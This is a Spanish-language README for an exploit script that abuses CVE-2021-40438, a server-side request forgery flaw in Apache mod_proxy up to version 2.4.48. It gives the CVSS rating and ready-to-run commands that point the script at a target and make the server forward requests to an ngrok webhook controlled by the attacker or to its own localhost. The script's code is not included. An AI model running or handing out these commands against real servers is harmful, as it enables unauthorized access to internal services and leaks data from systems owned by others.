
CVE-2021-40438 Apache <= 2.4.48 SSRF exploit
Una ruta de uri-path de solicitud manipulada puede hacer que mod_proxy reenvíe la solicitud a un servidor de origen elegido por el usuario remoto. Este problema afecta a Apache HTTP Server 2.4.48 y versiones anteriores.
Puntuación Base: 9.0 Gravedad: CRÍTICA CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Vector de Ataque: Red Complejidad de Ataque: Alta Privilegios Requeridos: Ninguno Interacción del Usuario: Ninguna Alcance: Cambiado Confidencialidad: Alta Integridad: Alta Disponibilidad: Alta
Categoría de vulnerabilidad: Falsificación de solicitud del lado del servidor (SSRF)
Este script utiliza la librería requests para realizar la solicitud HTTP GET con las URLs proporcionadas. Puede ejecutar el script desde la línea de comandos, especificando las opciones -t y -ssrf para personalizar las URLs.
Puede usar ngrok como webhook local en lugar de abrir sus puertos locales o usar un webhook público desde internet.
python3 CVE-2021-40438.py -t https://target.com -ssrf https://cf92-88-26-100-207.ngrok-free.app/ssrf
python3 CVE-2021-40438.py -t https://target.com -ssrf http://127.0.0.1
Asegúrese de tener instalada la librería requests antes de ejecutar el script. Puede instalarla con el siguiente comando:
pip install requests